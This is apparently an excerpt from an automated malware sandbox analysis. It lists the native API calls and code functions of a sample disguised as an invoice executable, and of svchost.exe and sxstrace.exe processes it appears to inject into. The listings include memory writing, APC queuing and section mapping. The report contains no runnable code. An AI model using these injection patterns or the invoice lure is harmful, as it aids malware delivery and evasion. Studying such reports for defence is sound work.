                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FB0 NtResumeThread,2_2_03072FB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FE0 NtCreateFile,2_2_03072FE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072E30 NtWriteVirtualMemory,2_2_03072E30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072E80 NtReadVirtualMemory,2_2_03072E80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072EA0 NtAdjustPrivilegesToken,2_2_03072EA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072EE0 NtQueueApcThread,2_2_03072EE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D00 NtSetInformationFile,2_2_03072D00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D10 NtMapViewOfSection,2_2_03072D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D30 NtUnmapViewOfSection,2_2_03072D30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DB0 NtEnumerateKey,2_2_03072DB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DD0 NtDelayExecution,2_2_03072DD0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C00 NtQueryInformationProcess,2_2_03072C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C60 NtCreateKey,2_2_03072C60
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CA0 NtQueryInformationToken,2_2_03072CA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CC0 NtQueryVirtualMemory,2_2_03072CC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CF0 NtOpenProcess,2_2_03072CF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073010 NtOpenDirectoryObject,2_2_03073010
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073090 NtSetValueKey,2_2_03073090
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030739B0 NtGetContextThread,2_2_030739B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073D10 NtOpenProcessToken,2_2_03073D10
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073D70 NtOpenThread,2_2_03073D70
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04324650 NtSuspendThread,LdrInitializeThunk,5_2_04324650
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04324340 NtSetContextThread,LdrInitializeThunk,5_2_04324340
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322C70 NtFreeVirtualMemory,LdrInitializeThunk,5_2_04322C70
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322C60 NtCreateKey,LdrInitializeThunk,5_2_04322C60
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322CA0 NtQueryInformationToken,LdrInitializeThunk,5_2_04322CA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322D30 NtUnmapViewOfSection,LdrInitializeThunk,5_2_04322D30
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322D10 NtMapViewOfSection,LdrInitializeThunk,5_2_04322D10
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_04322DF0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322DD0 NtDelayExecution,LdrInitializeThunk,5_2_04322DD0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322E80 NtReadVirtualMemory,LdrInitializeThunk,5_2_04322E80
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322EE0 NtQueueApcThread,LdrInitializeThunk,5_2_04322EE0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322F30 NtCreateSection,LdrInitializeThunk,5_2_04322F30
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322FB0 NtResumeThread,LdrInitializeThunk,5_2_04322FB0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322FE0 NtCreateFile,LdrInitializeThunk,5_2_04322FE0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322AF0 NtWriteFile,LdrInitializeThunk,5_2_04322AF0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322AD0 NtReadFile,LdrInitializeThunk,5_2_04322AD0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322B60 NtClose,LdrInitializeThunk,5_2_04322B60
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322BA0 NtEnumerateValueKey,LdrInitializeThunk,5_2_04322BA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322BF0 NtAllocateVirtualMemory,LdrInitializeThunk,5_2_04322BF0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322BE0 NtQueryValueKey,LdrInitializeThunk,5_2_04322BE0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043235C0 NtCreateMutant,LdrInitializeThunk,5_2_043235C0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043239B0 NtGetContextThread,LdrInitializeThunk,5_2_043239B0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322C00 NtQueryInformationProcess,5_2_04322C00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322CF0 NtOpenProcess,5_2_04322CF0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322CC0 NtQueryVirtualMemory,5_2_04322CC0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322D00 NtSetInformationFile,5_2_04322D00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322DB0 NtEnumerateKey,5_2_04322DB0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322E30 NtWriteVirtualMemory,5_2_04322E30
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322EA0 NtAdjustPrivilegesToken,5_2_04322EA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322F60 NtCreateProcessEx,5_2_04322F60
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322FA0 NtQuerySection,5_2_04322FA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322F90 NtProtectVirtualMemory,5_2_04322F90
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322AB0 NtWaitForSingleObject,5_2_04322AB0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04322B80 NtQueryInformationFile,5_2_04322B80
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04323010 NtOpenDirectoryObject,5_2_04323010
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04323090 NtSetValueKey,5_2_04323090
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04323D10 NtOpenProcessToken,5_2_04323D10
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04323D70 NtOpenThread,5_2_04323D70
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_001492F0 NtCreateFile,5_2_001492F0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00149460 NtReadFile,5_2_00149460
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00149550 NtDeleteFile,5_2_00149550
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00149600 NtClose,5_2_00149600
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_00149770 NtAllocateVirtualMemory,5_2_00149770
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0414F174 NtQueryInformationProcess,5_2_0414F174
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00409A400_2_00409A40
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004120380_2_00412038
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004271610_2_00427161
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0047E1FA0_2_0047E1FA
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004212BE0_2_004212BE
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004433900_2_00443390
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004433910_2_00443391
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0041A46B0_2_0041A46B
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0041240C0_2_0041240C
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004465660_2_00446566
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004045E00_2_004045E0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0041D7500_2_0041D750
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004037E00_2_004037E0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004278590_2_00427859
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_004128180_2_00412818
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0040F8900_2_0040F890
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0042397B0_2_0042397B
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00411B630_2_00411B63
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0047CBF00_2_0047CBF0
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044EBBC0_2_0044EBBC
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00412C380_2_00412C38
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0044ED9A0_2_0044ED9A
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00423EBF0_2_00423EBF
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_00424F700_2_00424F70
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0041AF0D0_2_0041AF0D
                Source: C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exeCode function: 0_2_0405AE380_2_0405AE38
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418AA32_2_00418AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042F0C32_2_0042F0C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032472_2_00403247
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032502_2_00403250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004103932_2_00410393
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416CDE2_2_00416CDE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416CE32_2_00416CE3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E5DD2_2_0040E5DD
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004025EC2_2_004025EC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004025F02_2_004025F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402D902_2_00402D90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004105B32_2_004105B3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004046642_2_00404664
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040E6332_2_0040E633
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004026392_2_00402639
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA3522_2_030FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F02_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031003E62_2_031003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E02742_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C02C02_2_030C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030301002_2_03030100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA1182_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C81582_2_030C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F41A22_2_030F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031001AA2_2_031001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F81CC2_2_030F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D20002_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030647502_2_03064750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030407702_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303C7C02_2_0303C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305C6E02_2_0305C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030405352_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031005912_2_03100591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E44202_2_030E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F24462_2_030F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EE4F62_2_030EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FAB402_2_030FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F6BD72_2_030F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA802_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030569622_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A02_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310A9A62_2_0310A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304A8402_2_0304A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030428402_2_03042840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030268B82_2_030268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E8F02_2_0306E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03082F282_2_03082F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060F302_2_03060F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E2F302_2_030E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4F402_2_030B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BEFA02_2_030BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032FC82_2_03032FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304CFE02_2_0304CFE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FEE262_2_030FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040E592_2_03040E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052E902_2_03052E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FCE932_2_030FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FEEDB2_2_030FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304AD002_2_0304AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DCD1F2_2_030DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03058DBF2_2_03058DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303ADE02_2_0303ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040C002_2_03040C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0CB52_2_030E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030CF22_2_03030CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F132D2_2_030F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302D34C2_2_0302D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0308739A2_2_0308739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030452A02_2_030452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305B2C02_2_0305B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E12ED2_2_030E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307516C2_2_0307516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302F1722_2_0302F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310B16B2_2_0310B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304B1B02_2_0304B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EF0CC2_2_030EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030470C02_2_030470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F70E92_2_030F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF0E02_2_030FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF7B02_2_030FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030856302_2_03085630
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F16CC2_2_030F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F75712_2_030F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DD5B02_2_030DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031095C32_2_031095C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF43F2_2_030FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030314602_2_03031460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFB762_2_030FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305FB802_2_0305FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B5BF02_2_030B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307DBF92_2_0307DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFA492_2_030FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F7A462_2_030F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B3A6C2_2_030B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DDAAC2_2_030DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03085AA02_2_03085AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E1AA32_2_030E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EDAC62_2_030EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D59102_2_030D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030499502_2_03049950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305B9502_2_0305B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AD8002_2_030AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030438E02_2_030438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFF092_2_030FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03041F922_2_03041F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFFB12_2_030FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03003FD22_2_03003FD2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03003FD52_2_03003FD5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03049EB02_2_03049EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03043D402_2_03043D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F1D5A2_2_030F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F7D732_2_030F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305FDC02_2_0305FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B9C322_2_030B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFCF22_2_030FFCF2
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A24465_2_043A2446
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0439E4F65_2_0439E4F6
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F05355_2_042F0535
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043B05915_2_043B0591
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0430C6E05_2_0430C6E0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F07705_2_042F0770
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043147505_2_04314750
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042EC7C05_2_042EC7C0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043820005_2_04382000
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0438A1185_2_0438A118
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042E01005_2_042E0100
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043781585_2_04378158
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043B01AA5_2_043B01AA
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A81CC5_2_043A81CC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043902745_2_04390274
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043702C05_2_043702C0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AA3525_2_043AA352
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043B03E65_2_043B03E6
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042FE3F05_2_042FE3F0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F0C005_2_042F0C00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04390CB55_2_04390CB5
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042E0CF25_2_042E0CF2
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042FAD005_2_042FAD00
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04308DBF5_2_04308DBF
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042EADE05_2_042EADE0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AEE265_2_043AEE26
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F0E595_2_042F0E59
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04302E905_2_04302E90
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043ACE935_2_043ACE93
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AEEDB5_2_043AEEDB
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04310F305_2_04310F30
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04332F285_2_04332F28
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04364F405_2_04364F40
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0436EFA05_2_0436EFA0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042FCFE05_2_042FCFE0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042E2FC85_2_042E2FC8
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F28405_2_042F2840
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042FA8405_2_042FA840
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042D68B85_2_042D68B8
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0431E8F05_2_0431E8F0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043069625_2_04306962
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F29A05_2_042F29A0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043BA9A65_2_043BA9A6
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042EEA805_2_042EEA80
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AAB405_2_043AAB40
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A6BD75_2_043A6BD7
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AF43F5_2_043AF43F
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042E14605_2_042E1460
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A75715_2_043A7571
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0438D5B05_2_0438D5B0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A16CC5_2_043A16CC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AF7B05_2_043AF7B0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A70E95_2_043A70E9
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AF0E05_2_043AF0E0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F70C05_2_042F70C0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0439F0CC5_2_0439F0CC
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043BB16B5_2_043BB16B
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0432516C5_2_0432516C
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042DF1725_2_042DF172
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042FB1B05_2_042FB1B0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042F52A05_2_042F52A0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043912ED5_2_043912ED
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0430B2C05_2_0430B2C0
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A132D5_2_043A132D
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_042DD34C5_2_042DD34C
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_0433739A5_2_0433739A
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_04369C325_2_04369C32
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043AFCF25_2_043AFCF2
                Source: C:\Windows\SysWOW64\sxstrace.exeCode function: 5_2_043A7D735_2_043A7D73
